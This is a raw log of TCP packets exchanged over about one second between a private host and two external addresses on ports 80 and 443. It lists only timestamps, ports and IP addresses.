Nov 1, 2024 12:34:32.415632963 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415730000 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415736914 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415743113 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415750027 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415771008 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.415849924 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415862083 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415868998 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415874004 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415879965 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415885925 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415890932 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.415893078 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415900946 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.415918112 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.415951967 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.416032076 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416038036 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416043997 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416054964 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416060925 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416066885 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416071892 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416085005 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416088104 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.416093111 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416099072 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416105986 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.416110992 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416115999 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416125059 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416131020 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416134119 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.416137934 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416146040 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416150093 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.416158915 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416163921 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416169882 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416182041 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.416182995 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416203022 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416209936 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.416213036 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416219950 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416225910 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416239977 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.416243076 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416248083 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.416275978 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.416563034 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416604996 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416611910 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416642904 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416650057 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416656017 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416660070 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.416685104 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.416712046 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416719913 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416727066 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416759968 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416766882 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416773081 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416779995 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416786909 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.416793108 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.416816950 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.416841030 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.417969942 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.418023109 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.418030024 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.418071985 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.418076038 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.418085098 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.418092966 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.418104887 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.418112040 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.418118000 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.418134928 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.418163061 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.418186903 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.418194056 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.418200970 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.418206930 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.418212891 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.418219090 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.418225050 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.418227911 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.418247938 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.418278933 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.418351889 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.418359041 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.418365002 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.418370962 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.418376923 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.418381929 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.418387890 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.418394089 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.418406010 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.418421030 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.418451071 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.487936020 CET	443	50002	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:32.488084078 CET	50002	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:32.500901937 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.501935959 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.506396055 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506406069 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506413937 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506427050 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506433964 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506439924 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506448030 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506499052 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506505966 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506511927 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506516933 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.506524086 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506535053 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506541967 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506544113 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.506548882 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506565094 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.506572008 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506577969 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506583929 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506587982 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.506592035 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506623030 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506628036 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.506632090 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506639004 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506645918 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506655931 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.506684065 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.506758928 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506764889 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506771088 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506782055 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506788969 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506793976 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506802082 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506807089 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.506845951 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.506871939 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506879091 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506885052 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506891012 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506896973 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506902933 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.506903887 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506911993 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.506920099 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.506957054 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.507124901 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507132053 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507138014 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507143021 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507148981 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507154942 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507160902 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507165909 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.507174015 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507180929 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507186890 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507194042 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507194996 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.507199049 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507205963 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507211924 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507215977 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.507219076 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507241011 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.507280111 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507287025 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507292986 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507307053 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507330894 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.507468939 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507476091 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507481098 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507493973 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507498980 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507520914 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.507524014 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507533073 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507539988 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507545948 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.507550955 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507556915 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507563114 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507569075 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507574081 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.507574081 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507580996 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507586956 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507600069 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507602930 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.507606030 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507613897 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507618904 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507627010 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.507632017 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507638931 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507647038 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507652044 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.507688999 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.507777929 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507786036 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507792950 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507833004 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.507838011 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507846117 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507852077 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507858992 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507869959 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.507910967 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.507989883 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.507996082 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508002043 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508013964 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508019924 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508025885 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508032084 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508038044 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508043051 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.508044004 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508066893 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.508080959 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508086920 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508093119 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508141994 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.508280993 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508287907 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508296013 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508306980 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508312941 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508320093 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508332014 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508338928 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508339882 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.508344889 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508352041 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508363008 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.508364916 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508372068 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508378983 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508383036 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.508392096 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508399010 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508408070 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.508426905 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508430958 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.508435011 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508446932 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508451939 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.508455038 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508461952 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508481026 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.508507013 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.508635998 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508644104 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508650064 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508656025 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508661985 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508667946 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508675098 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508686066 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.508687973 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508694887 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508701086 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508708000 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508714914 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.508721113 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508728027 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508738995 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.508775949 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.508783102 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.508846998 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.630513906 CET	80	50001	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.630778074 CET	50001	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.706212997 CET	50002	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:32.706238985 CET	443	50002	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:32.706511021 CET	443	50002	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:32.709007978 CET	50002	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:32.709176064 CET	50002	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:32.709197998 CET	443	50002	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:32.776819944 CET	50001	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.781929970 CET	80	50001	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.802316904 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.803627014 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.992966890 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.997865915 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.061603069 CET	80	50001	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.063330889 CET	50001	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.177701950 CET	50001	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.178050041 CET	50003	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.182923079 CET	80	50003	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.183006048 CET	50003	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.183124065 CET	50003	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.183259964 CET	80	50001	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.183331013 CET	50001	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.188066959 CET	80	50003	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.253817081 CET	443	50002	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:33.253886938 CET	443	50002	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:33.254029036 CET	50002	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:33.254281044 CET	50002	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:33.254287004 CET	443	50002	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:33.276477098 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.276509047 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.276557922 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.276592970 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.276607990 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.276626110 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.276633978 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.276667118 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.276701927 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.276709080 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.276735067 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.276770115 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.276804924 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.276819944 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.276842117 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.276854038 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.276896000 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.276931047 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.276946068 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.276973009 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.277005911 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.557369947 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.557388067 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.557396889 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.557405949 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.557424068 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.557457924 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.557473898 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.557486057 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:33.557492971 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:33.557492971 CET	49996	80	192.168.2.7	185.215.113.16
